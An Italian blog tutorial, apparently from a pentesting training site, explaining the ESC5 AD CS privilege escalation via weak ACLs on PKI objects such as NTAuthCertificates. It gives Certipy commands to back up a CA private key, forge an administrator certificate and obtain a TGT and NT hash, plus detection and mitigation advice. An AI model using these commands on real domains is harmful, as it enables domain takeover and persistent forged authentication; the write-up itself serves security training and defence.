ESC5 ADCS Privilege Escalation: Golden Certificate e CA Compromise con Certipy

ESC5 ADCS Privilege Escalation: compromettere la PKI Active Directory e forgiare Golden Certificate tramite la chiave privata della CA usando Certipy.
- Pubblicato il 2026-03-07
- Tempo di lettura: 2 min
ESC5 è una tecnica di Active Directory Privilege Escalation tramite AD CS che sfrutta ACL deboli su oggetti PKI in Active Directory.
A differenza di:
- ESC4 → ACL sui certificate template
- ESC7 → permessi sulla CA
ESC5 riguarda altri oggetti PKI nel Configuration container.
Dove si trovano questi oggetti #
Gli oggetti PKI sono salvati in:
CN=Public Key Services,CN=Services,CN=ConfigurationEsempi importanti:
CN=NTAuthCertificates
CN=AIA
CN=CDP
CN=Certification Authorities
CN=Certificate TemplatesQuando esiste ESC5 #
ESC5 esiste quando un utente ha permessi come:
WriteDACL
WriteOwner
WriteProperty
FullControlsu questi oggetti PKI.
Questo permette di modificare il trust della PKI del dominio.
Attacchi possibili #
Con accesso a questi oggetti l’attaccante può:
aggiungere una CA malevola
modificare trust PKI
alterare AIA/CDP
manipolare policy OIDIl caso più potente è modificare:
NTAuthCertificatesNTAuthCertificates #
Oggetto:
CN=NTAuthCertificates,CN=Public Key ServicesQuesto store contiene le CA trusted per autenticazione AD.
Se un attaccante inserisce una CA propria:
rogue CApuò emettere certificati validi per:
Kerberos PKINIT
Smartcard logonIdentificazione ESC5 #
Certipy non rileva ESC5 automaticamente.
Serve analizzare ACL sugli oggetti PKI.
Tool utili #
BloodHound #
Con ADCS data collection.
PowerShell #
Get-ACL "AD:\CN=NTAuthCertificates,CN=Public Key Services,..."ADSIEdit #
Navigazione manuale.
Oggetti da controllare #
Audit su:
CN=NTAuthCertificates
CN=AIA
CN=CDP
CN=Certification Authorities
CN=Certificate TemplatesIndicatori pericolosi:
Authenticated Users
Domain Userscon permessi di scrittura.
Exploitation ESC5 #
ESC5 dipende molto dall’oggetto compromesso.
Un caso comune:
1️⃣ aggiungere rogue CA 2️⃣ emettere certificati admin 3️⃣ autenticarsi
Compromissione CA key #
Se l’attaccante ottiene la chiave privata della CA, può creare:
Golden CertificatesBackup CA key con Certipy #
certipy ca \
-u administrator@corp.local -p 'Passw0rd!' \
-ns 10.0.0.100 \
-target CA.CORP.LOCAL \
-config CA.CORP.LOCAL\CORP-CA \
-backupOutput:
Saving certificate and private key to CORP-CA.pfxForging certificate #
Con la chiave CA:
certipy forge \
-ca-pfx CORP-CA.pfx \
-upn administrator@corp.local \
-sid S-1-5-21-...-500 \
-crl ldap:///Output:
administrator_forged.pfxAutenticazione #
certipy auth \
-pfx administrator_forged.pfx \
-dc-ip 10.0.0.100Output:
Got TGT
Got NT hash for administratorAccesso ottenuto:
Domain AdminImpatto ESC5 #
ESC5 può portare a:
Enterprise Admin
Domain Admin
Golden Certificates
persistent domain compromiseÈ uno degli attacchi più persistenti su AD CS.
Detection ESC5 #
Indicatori principali:
WriteDACL
WriteOwner
FullControlsu oggetti PKI.
Audit tramite:
BloodHound
ADSIEdit
PowerShell ACL reviewMitigation ESC5 #
Limitare ACL PKI #
Solo gruppi come:
Enterprise Admins
PKI Adminsdevono avere permessi.
Audit periodico #
Controllare ACL su:
CN=Public Key ServicesMonitor NTAuthCertificates #
Modifiche a questo oggetto sono critiche.
Hardening PKI #
Limitare accesso a:
AIA
CDP
Certification Authorities
OID containersFAQ — ESC5 ADCS #
Cos’è ESC5? #
ACL deboli su oggetti PKI in Active Directory.
Qual è il rischio? #
Modificare la trust chain PKI del dominio.
ESC5 porta a Domain Admin? #
Sì, e anche Enterprise Admin.
ESC5 è comune? #
Molto meno di ESC1 ma molto più potente.
Key Takeaway: se un attaccante può modificare oggetti PKI come NTAuthCertificates, può creare una CA trusted e generare certificati validi per autenticazione nel dominio.
Guida completa AD CS escalation: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc6-adcs · https://hackita.it/articoli/esc7-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/







